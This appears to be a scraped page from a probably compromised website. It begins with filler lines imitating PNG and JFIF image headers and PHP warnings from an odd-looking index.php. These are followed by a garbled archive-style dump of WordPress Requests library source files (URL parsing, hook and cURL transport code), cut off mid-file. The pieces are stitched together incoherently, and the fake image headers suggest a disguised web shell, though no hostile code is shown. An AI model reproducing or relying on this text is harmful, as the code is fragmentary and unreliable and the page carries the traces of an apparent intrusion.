????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
?????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
???????????????????????????????????????
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
PNG
\x49\x44\x41\x54?\x89\x50
\x4E\x47\x0D\x0A\x1A\x0A
JFIF ?? C
! "$" $ ?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................??????????????????????
??? ???????????????????????????????????????...............................
JFIF ?? C
! "$" $ ?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
..................................................................................................................................... ????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
?????????????????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
????????????????????????????????????????
???????????????????????????????????????
PNG
\x49\x44\x41\x54?\x89\x50
\x4E\x47\x0D\x0A\x1A\x0A
JFIF ?? C
! "$" $ ?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................??????????????????????
??? ???????????????????????????????????????...............................
JFIF ?? C
! "$" $ ?? C
?? p
" ??
?? ?
????
(% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @
adadasdasdasasdasdas
.....................................................................................................................................????????????????????????????????
???????????????????????????????
???????????????????????????????
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.
Warning: Undefined variable $auth in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695
Warning: Trying to access array offset on value of type null in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 695
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 332
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 333
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 334
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 335
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 336
Warning: Cannot modify header information - headers already sent by (output started at /home/blacotuu/deliciouskenya.com/d94fc6/index.php:1) in /home/blacotuu/deliciouskenya.com/d94fc6/index.php on line 337
HookManager.php 0000644 00000001305 15207614114 0007450 0 ustar 00 0 is executed later
*/
public function register($hook, $callback, $priority = 0);
/**
* Dispatch a message
*
* @param string $hook Hook name
* @param array $parameters Parameters to pass to callbacks
* @return boolean Successfulness
*/
public function dispatch($hook, $parameters = []);
}
Capability.php 0000644 00000001214 15207614116 0007337 0 ustar 00 array(
'port' => Port::ACAP,
),
'dict' => array(
'port' => Port::DICT,
),
'file' => array(
'ihost' => 'localhost',
),
'http' => array(
'port' => Port::HTTP,
),
'https' => array(
'port' => Port::HTTPS,
),
);
/**
* Return the entire IRI when you try and read the object as a string
*
* @return string
*/
public function __toString() {
return $this->get_iri();
}
/**
* Overload __set() to provide access via properties
*
* @param string $name Property name
* @param mixed $value Property value
*/
public function __set($name, $value) {
if (method_exists($this, 'set_' . $name)) {
call_user_func(array($this, 'set_' . $name), $value);
}
elseif (
$name === 'iauthority'
|| $name === 'iuserinfo'
|| $name === 'ihost'
|| $name === 'ipath'
|| $name === 'iquery'
|| $name === 'ifragment'
) {
call_user_func(array($this, 'set_' . substr($name, 1)), $value);
}
}
/**
* Overload __get() to provide access via properties
*
* @param string $name Property name
* @return mixed
*/
public function __get($name) {
// isset() returns false for null, we don't want to do that
// Also why we use array_key_exists below instead of isset()
$props = get_object_vars($this);
if (
$name === 'iri' ||
$name === 'uri' ||
$name === 'iauthority' ||
$name === 'authority'
) {
$method = 'get_' . $name;
$return = $this->$method();
}
elseif (array_key_exists($name, $props)) {
$return = $this->$name;
}
// host -> ihost
elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
$name = $prop;
$return = $this->$prop;
}
// ischeme -> scheme
elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
$name = $prop;
$return = $this->$prop;
}
else {
trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
$return = null;
}
if ($return === null && isset($this->normalization[$this->scheme][$name])) {
return $this->normalization[$this->scheme][$name];
}
else {
return $return;
}
}
/**
* Overload __isset() to provide access via properties
*
* @param string $name Property name
* @return bool
*/
public function __isset($name) {
return (method_exists($this, 'get_' . $name) || isset($this->$name));
}
/**
* Overload __unset() to provide access via properties
*
* @param string $name Property name
*/
public function __unset($name) {
if (method_exists($this, 'set_' . $name)) {
call_user_func(array($this, 'set_' . $name), '');
}
}
/**
* Create a new IRI object, from a specified string
*
* @param string|Stringable|null $iri
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null.
*/
public function __construct($iri = null) {
if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) {
throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri));
}
$this->set_iri($iri);
}
/**
* Create a new IRI object by resolving a relative IRI
*
* Returns false if $base is not absolute, otherwise an IRI.
*
* @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI
* @param \WpOrg\Requests\Iri|string $relative Relative IRI
* @return \WpOrg\Requests\Iri|false
*/
public static function absolutize($base, $relative) {
if (!($relative instanceof self)) {
$relative = new self($relative);
}
if (!$relative->is_valid()) {
return false;
}
elseif ($relative->scheme !== null) {
return clone $relative;
}
if (!($base instanceof self)) {
$base = new self($base);
}
if ($base->scheme === null || !$base->is_valid()) {
return false;
}
if ($relative->get_iri() !== '') {
if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
$target = clone $relative;
$target->scheme = $base->scheme;
}
else {
$target = new self;
$target->scheme = $base->scheme;
$target->iuserinfo = $base->iuserinfo;
$target->ihost = $base->ihost;
$target->port = $base->port;
if ($relative->ipath !== '') {
if ($relative->ipath[0] === '/') {
$target->ipath = $relative->ipath;
}
elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
$target->ipath = '/' . $relative->ipath;
}
elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
}
else {
$target->ipath = $relative->ipath;
}
$target->ipath = $target->remove_dot_segments($target->ipath);
$target->iquery = $relative->iquery;
}
else {
$target->ipath = $base->ipath;
if ($relative->iquery !== null) {
$target->iquery = $relative->iquery;
}
elseif ($base->iquery !== null) {
$target->iquery = $base->iquery;
}
}
$target->ifragment = $relative->ifragment;
}
}
else {
$target = clone $base;
$target->ifragment = null;
}
$target->scheme_normalization();
return $target;
}
/**
* Parse an IRI into scheme/authority/path/query/fragment segments
*
* @param string $iri
* @return array
*/
protected function parse_iri($iri) {
$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
$has_match = preg_match('/^((?P[^:\/?#]+):)?(\/\/(?P[^\/?#]*))?(?P[^?#]*)(\?(?P[^#]*))?(#(?P.*))?$/', $iri, $match);
if (!$has_match) {
throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri);
}
if ($match[1] === '') {
$match['scheme'] = null;
}
if (!isset($match[3]) || $match[3] === '') {
$match['authority'] = null;
}
if (!isset($match[5])) {
$match['path'] = '';
}
if (!isset($match[6]) || $match[6] === '') {
$match['query'] = null;
}
if (!isset($match[8]) || $match[8] === '') {
$match['fragment'] = null;
}
return $match;
}
/**
* Remove dot segments from a path
*
* @param string $input
* @return string
*/
protected function remove_dot_segments($input) {
$output = '';
while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
// A: If the input buffer begins with a prefix of "../" or "./",
// then remove that prefix from the input buffer; otherwise,
if (strpos($input, '../') === 0) {
$input = substr($input, 3);
}
elseif (strpos($input, './') === 0) {
$input = substr($input, 2);
}
// B: if the input buffer begins with a prefix of "/./" or "/.",
// where "." is a complete path segment, then replace that prefix
// with "/" in the input buffer; otherwise,
elseif (strpos($input, '/./') === 0) {
$input = substr($input, 2);
}
elseif ($input === '/.') {
$input = '/';
}
// C: if the input buffer begins with a prefix of "/../" or "/..",
// where ".." is a complete path segment, then replace that prefix
// with "/" in the input buffer and remove the last segment and its
// preceding "/" (if any) from the output buffer; otherwise,
elseif (strpos($input, '/../') === 0) {
$input = substr($input, 3);
$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
}
elseif ($input === '/..') {
$input = '/';
$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
}
// D: if the input buffer consists only of "." or "..", then remove
// that from the input buffer; otherwise,
elseif ($input === '.' || $input === '..') {
$input = '';
}
// E: move the first path segment in the input buffer to the end of
// the output buffer, including the initial "/" character (if any)
// and any subsequent characters up to, but not including, the next
// "/" character or the end of the input buffer
elseif (($pos = strpos($input, '/', 1)) !== false) {
$output .= substr($input, 0, $pos);
$input = substr_replace($input, '', 0, $pos);
}
else {
$output .= $input;
$input = '';
}
}
return $output . $input;
}
/**
* Replace invalid character with percent encoding
*
* @param string $text Input string
* @param string $extra_chars Valid characters not in iunreserved or
* iprivate (this is ASCII-only)
* @param bool $iprivate Allow iprivate
* @return string
*/
protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) {
// Normalize as many pct-encoded sections as possible
$text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text);
// Replace invalid percent characters
$text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text);
// Add unreserved and % to $extra_chars (the latter is safe because all
// pct-encoded sections are now valid).
$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';
// Now replace any bytes that aren't allowed with their pct-encoded versions
$position = 0;
$strlen = strlen($text);
while (($position += strspn($text, $extra_chars, $position)) < $strlen) {
$value = ord($text[$position]);
// Start position
$start = $position;
// By default we are valid
$valid = true;
// No one byte sequences are valid due to the while.
// Two byte sequence:
if (($value & 0xE0) === 0xC0) {
$character = ($value & 0x1F) << 6;
$length = 2;
$remaining = 1;
}
// Three byte sequence:
elseif (($value & 0xF0) === 0xE0) {
$character = ($value & 0x0F) << 12;
$length = 3;
$remaining = 2;
}
// Four byte sequence:
elseif (($value & 0xF8) === 0xF0) {
$character = ($value & 0x07) << 18;
$length = 4;
$remaining = 3;
}
// Invalid byte:
else {
$valid = false;
$length = 1;
$remaining = 0;
}
if ($remaining) {
if ($position + $length <= $strlen) {
for ($position++; $remaining; $position++) {
$value = ord($text[$position]);
// Check that the byte is valid, then add it to the character:
if (($value & 0xC0) === 0x80) {
$character |= ($value & 0x3F) << (--$remaining * 6);
}
// If it is invalid, count the sequence as invalid and reprocess the current byte:
else {
$valid = false;
$position--;
break;
}
}
}
else {
$position = $strlen - 1;
$valid = false;
}
}
// Percent encode anything invalid or not in ucschar
if (
// Invalid sequences
!$valid
// Non-shortest form sequences are invalid
|| $length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of ucschar codepoints
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
|| (
// Everything else not in ucschar
$character > 0xD7FF && $character < 0xF900
|| $character < 0xA0
|| $character > 0xEFFFD
)
&& (
// Everything not in iprivate, if it applies
!$iprivate
|| $character < 0xE000
|| $character > 0x10FFFD
)
) {
// If we were a character, pretend we weren't, but rather an error.
if ($valid) {
$position--;
}
for ($j = $start; $j <= $position; $j++) {
$text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1);
$j += 2;
$position += 2;
$strlen += 2;
}
}
}
return $text;
}
/**
* Callback function for preg_replace_callback.
*
* Removes sequences of percent encoded bytes that represent UTF-8
* encoded characters in iunreserved
*
* @param array $regex_match PCRE match
* @return string Replacement
*/
protected function remove_iunreserved_percent_encoded($regex_match) {
// As we just have valid percent encoded sequences we can just explode
// and ignore the first member of the returned array (an empty string).
$bytes = explode('%', $regex_match[0]);
// Initialize the new string (this is what will be returned) and that
// there are no bytes remaining in the current sequence (unsurprising
// at the first byte!).
$string = '';
$remaining = 0;
// Loop over each and every byte, and set $value to its value
for ($i = 1, $len = count($bytes); $i < $len; $i++) {
$value = hexdec($bytes[$i]);
// If we're the first byte of sequence:
if (!$remaining) {
// Start position
$start = $i;
// By default we are valid
$valid = true;
// One byte sequence:
if ($value <= 0x7F) {
$character = $value;
$length = 1;
}
// Two byte sequence:
elseif (($value & 0xE0) === 0xC0) {
$character = ($value & 0x1F) << 6;
$length = 2;
$remaining = 1;
}
// Three byte sequence:
elseif (($value & 0xF0) === 0xE0) {
$character = ($value & 0x0F) << 12;
$length = 3;
$remaining = 2;
}
// Four byte sequence:
elseif (($value & 0xF8) === 0xF0) {
$character = ($value & 0x07) << 18;
$length = 4;
$remaining = 3;
}
// Invalid byte:
else {
$valid = false;
$remaining = 0;
}
}
// Continuation byte:
else {
// Check that the byte is valid, then add it to the character:
if (($value & 0xC0) === 0x80) {
$remaining--;
$character |= ($value & 0x3F) << ($remaining * 6);
}
// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
else {
$valid = false;
$remaining = 0;
$i--;
}
}
// If we've reached the end of the current byte sequence, append it to Unicode::$data
if (!$remaining) {
// Percent encode anything invalid or not in iunreserved
if (
// Invalid sequences
!$valid
// Non-shortest form sequences are invalid
|| $length > 1 && $character <= 0x7F
|| $length > 2 && $character <= 0x7FF
|| $length > 3 && $character <= 0xFFFF
// Outside of range of iunreserved codepoints
|| $character < 0x2D
|| $character > 0xEFFFD
// Noncharacters
|| ($character & 0xFFFE) === 0xFFFE
|| $character >= 0xFDD0 && $character <= 0xFDEF
// Everything else not in iunreserved (this is all BMP)
|| $character === 0x2F
|| $character > 0x39 && $character < 0x41
|| $character > 0x5A && $character < 0x61
|| $character > 0x7A && $character < 0x7E
|| $character > 0x7E && $character < 0xA0
|| $character > 0xD7FF && $character < 0xF900
) {
for ($j = $start; $j <= $i; $j++) {
$string .= '%' . strtoupper($bytes[$j]);
}
}
else {
for ($j = $start; $j <= $i; $j++) {
$string .= chr(hexdec($bytes[$j]));
}
}
}
}
// If we have any bytes left over they are invalid (i.e., we are
// mid-way through a multi-byte sequence)
if ($remaining) {
for ($j = $start; $j < $len; $j++) {
$string .= '%' . strtoupper($bytes[$j]);
}
}
return $string;
}
protected function scheme_normalization() {
if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
$this->iuserinfo = null;
}
if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
$this->ihost = null;
}
if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
$this->port = null;
}
if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
$this->ipath = '';
}
if (isset($this->ihost) && empty($this->ipath)) {
$this->ipath = '/';
}
if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
$this->iquery = null;
}
if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
$this->ifragment = null;
}
}
/**
* Check if the object represents a valid IRI. This needs to be done on each
* call as some things change depending on another part of the IRI.
*
* @return bool
*/
public function is_valid() {
$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
if ($this->ipath !== '' &&
(
$isauthority && $this->ipath[0] !== '/' ||
(
$this->scheme === null &&
!$isauthority &&
strpos($this->ipath, ':') !== false &&
(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
)
)
) {
return false;
}
return true;
}
public function __wakeup() {
$class_props = get_class_vars( __CLASS__ );
$string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' );
$array_props = array( 'normalization' );
foreach ( $class_props as $prop => $default_value ) {
if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) {
throw new UnexpectedValueException();
} elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) {
throw new UnexpectedValueException();
}
$this->$prop = null;
}
}
/**
* Set the entire IRI. Returns true on success, false on failure (if there
* are any invalid characters).
*
* @param string $iri
* @return bool
*/
protected function set_iri($iri) {
static $cache;
if (!$cache) {
$cache = array();
}
if ($iri === null) {
return true;
}
$iri = (string) $iri;
if (isset($cache[$iri])) {
list($this->scheme,
$this->iuserinfo,
$this->ihost,
$this->port,
$this->ipath,
$this->iquery,
$this->ifragment,
$return) = $cache[$iri];
return $return;
}
$parsed = $this->parse_iri($iri);
$return = $this->set_scheme($parsed['scheme'])
&& $this->set_authority($parsed['authority'])
&& $this->set_path($parsed['path'])
&& $this->set_query($parsed['query'])
&& $this->set_fragment($parsed['fragment']);
$cache[$iri] = array($this->scheme,
$this->iuserinfo,
$this->ihost,
$this->port,
$this->ipath,
$this->iquery,
$this->ifragment,
$return);
return $return;
}
/**
* Set the scheme. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $scheme
* @return bool
*/
protected function set_scheme($scheme) {
if ($scheme === null) {
$this->scheme = null;
}
elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
$this->scheme = null;
return false;
}
else {
$this->scheme = strtolower($scheme);
}
return true;
}
/**
* Set the authority. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $authority
* @return bool
*/
protected function set_authority($authority) {
static $cache;
if (!$cache) {
$cache = array();
}
if ($authority === null) {
$this->iuserinfo = null;
$this->ihost = null;
$this->port = null;
return true;
}
if (isset($cache[$authority])) {
list($this->iuserinfo,
$this->ihost,
$this->port,
$return) = $cache[$authority];
return $return;
}
$remaining = $authority;
if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
$iuserinfo = substr($remaining, 0, $iuserinfo_end);
$remaining = substr($remaining, $iuserinfo_end + 1);
}
else {
$iuserinfo = null;
}
if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) {
$port = substr($remaining, $port_start + 1);
if ($port === false || $port === '') {
$port = null;
}
$remaining = substr($remaining, 0, $port_start);
}
else {
$port = null;
}
$return = $this->set_userinfo($iuserinfo) &&
$this->set_host($remaining) &&
$this->set_port($port);
$cache[$authority] = array($this->iuserinfo,
$this->ihost,
$this->port,
$return);
return $return;
}
/**
* Set the iuserinfo.
*
* @param string $iuserinfo
* @return bool
*/
protected function set_userinfo($iuserinfo) {
if ($iuserinfo === null) {
$this->iuserinfo = null;
}
else {
$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
$this->scheme_normalization();
}
return true;
}
/**
* Set the ihost. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $ihost
* @return bool
*/
protected function set_host($ihost) {
if ($ihost === null) {
$this->ihost = null;
return true;
}
if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
if (Ipv6::check_ipv6(substr($ihost, 1, -1))) {
$this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']';
}
else {
$this->ihost = null;
return false;
}
}
else {
$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');
// Lowercase, but ignore pct-encoded sections (as they should
// remain uppercase). This must be done after the previous step
// as that can add unescaped characters.
$position = 0;
$strlen = strlen($ihost);
while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
if ($ihost[$position] === '%') {
$position += 3;
}
else {
$ihost[$position] = strtolower($ihost[$position]);
$position++;
}
}
$this->ihost = $ihost;
}
$this->scheme_normalization();
return true;
}
/**
* Set the port. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string $port
* @return bool
*/
protected function set_port($port) {
if ($port === null) {
$this->port = null;
return true;
}
if (strspn($port, '0123456789') === strlen($port)) {
$this->port = (int) $port;
$this->scheme_normalization();
return true;
}
$this->port = null;
return false;
}
/**
* Set the ipath.
*
* @param string $ipath
* @return bool
*/
protected function set_path($ipath) {
static $cache;
if (!$cache) {
$cache = array();
}
$ipath = (string) $ipath;
if (isset($cache[$ipath])) {
$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
}
else {
$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
$removed = $this->remove_dot_segments($valid);
$cache[$ipath] = array($valid, $removed);
$this->ipath = ($this->scheme !== null) ? $removed : $valid;
}
$this->scheme_normalization();
return true;
}
/**
* Set the iquery.
*
* @param string $iquery
* @return bool
*/
protected function set_query($iquery) {
if ($iquery === null) {
$this->iquery = null;
}
else {
$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
$this->scheme_normalization();
}
return true;
}
/**
* Set the ifragment.
*
* @param string $ifragment
* @return bool
*/
protected function set_fragment($ifragment) {
if ($ifragment === null) {
$this->ifragment = null;
}
else {
$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
$this->scheme_normalization();
}
return true;
}
/**
* Convert an IRI to a URI (or parts thereof)
*
* @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()})
* @return string|false URI if IRI is valid, false otherwise.
*/
protected function to_uri($iri) {
if (!is_string($iri)) {
return false;
}
static $non_ascii;
if (!$non_ascii) {
$non_ascii = implode('', range("\x80", "\xFF"));
}
$position = 0;
$strlen = strlen($iri);
while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) {
$iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1);
$position += 3;
$strlen += 2;
}
return $iri;
}
/**
* Get the complete IRI
*
* @return string|false
*/
protected function get_iri() {
if (!$this->is_valid()) {
return false;
}
$iri = '';
if ($this->scheme !== null) {
$iri .= $this->scheme . ':';
}
if (($iauthority = $this->get_iauthority()) !== null) {
$iri .= '//' . $iauthority;
}
$iri .= $this->ipath;
if ($this->iquery !== null) {
$iri .= '?' . $this->iquery;
}
if ($this->ifragment !== null) {
$iri .= '#' . $this->ifragment;
}
return $iri;
}
/**
* Get the complete URI
*
* @return string
*/
protected function get_uri() {
return $this->to_uri($this->get_iri());
}
/**
* Get the complete iauthority
*
* @return string|null
*/
protected function get_iauthority() {
if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) {
return null;
}
$iauthority = '';
if ($this->iuserinfo !== null) {
$iauthority .= $this->iuserinfo . '@';
}
if ($this->ihost !== null) {
$iauthority .= $this->ihost;
}
if ($this->port !== null) {
$iauthority .= ':' . $this->port;
}
return $iauthority;
}
/**
* Get the complete authority
*
* @return string
*/
protected function get_authority() {
$iauthority = $this->get_iauthority();
if (is_string($iauthority)) {
return $this->to_uri($iauthority);
}
else {
return $iauthority;
}
}
}
Transport/Curl.php 0000644 00000046163 15207614116 0010173 0 ustar 00 = 8.0.
*/
private $handle;
/**
* Hook dispatcher instance
*
* @var \WpOrg\Requests\Hooks
*/
private $hooks;
/**
* Have we finished the headers yet?
*
* @var boolean
*/
private $done_headers = false;
/**
* If streaming to a file, keep the file pointer
*
* @var resource
*/
private $stream_handle;
/**
* How many bytes are in the response body?
*
* @var int
*/
private $response_bytes;
/**
* What's the maximum number of bytes we should keep?
*
* @var int|bool Byte count, or false if no limit.
*/
private $response_byte_limit;
/**
* Constructor
*/
public function __construct() {
$curl = curl_version();
$this->version = $curl['version_number'];
$this->handle = curl_init();
curl_setopt($this->handle, CURLOPT_HEADER, false);
curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
if ($this->version >= self::CURL_7_10_5) {
curl_setopt($this->handle, CURLOPT_ENCODING, '');
}
if (defined('CURLOPT_PROTOCOLS')) {
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound
curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
}
if (defined('CURLOPT_REDIR_PROTOCOLS')) {
// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound
curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
}
}
/**
* Destructor
*/
public function __destruct() {
if (is_resource($this->handle)) {
curl_close($this->handle);
}
}
/**
* Perform a request
*
* @param string|Stringable $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
* @return string Raw HTTP result
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
* @throws \WpOrg\Requests\Exception On a cURL error (`curlerror`)
*/
public function request($url, $headers = [], $data = [], $options = []) {
if (InputValidator::is_string_or_stringable($url) === false) {
throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
}
if (is_array($headers) === false) {
throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
}
if (!is_array($data) && !is_string($data)) {
if ($data === null) {
$data = '';
} else {
throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
}
}
if (is_array($options) === false) {
throw InvalidArgument::create(4, '$options', 'array', gettype($options));
}
$this->hooks = $options['hooks'];
$this->setup_handle($url, $headers, $data, $options);
$options['hooks']->dispatch('curl.before_send', [&$this->handle]);
if ($options['filename'] !== false) {
// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
$this->stream_handle = @fopen($options['filename'], 'wb');
if ($this->stream_handle === false) {
$error = error_get_last();
throw new Exception($error['message'], 'fopen');
}
}
$this->response_data = '';
$this->response_bytes = 0;
$this->response_byte_limit = false;
if ($options['max_bytes'] !== false) {
$this->response_byte_limit = $options['max_bytes'];
}
if (isset($options['verify'])) {
if ($options['verify'] === false) {
curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
} elseif (is_string($options['verify'])) {
curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
}
}
if (isset($options['verifyname']) && $options['verifyname'] === false) {
curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
}
curl_exec($this->handle);
$response = $this->response_data;
$options['hooks']->dispatch('curl.after_send', []);
if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) {
// Reset encoding and try again
curl_setopt($this->handle, CURLOPT_ENCODING, 'none');
$this->response_data = '';
$this->response_bytes = 0;
curl_exec($this->handle);
$response = $this->response_data;
}
$this->process_response($response, $options);
// Need to remove the $this reference from the curl handle.
// Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called.
curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);
return $this->headers;
}
/**
* Send multiple requests simultaneously
*
* @param array $requests Request data
* @param array $options Global options
* @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
*/
public function request_multiple($requests, $options) {
// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
if (empty($requests)) {
return [];
}
if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
}
if (is_array($options) === false) {
throw InvalidArgument::create(2, '$options', 'array', gettype($options));
}
$multihandle = curl_multi_init();
$subrequests = [];
$subhandles = [];
$class = get_class($this);
foreach ($requests as $id => $request) {
$subrequests[$id] = new $class();
$subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
$request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]);
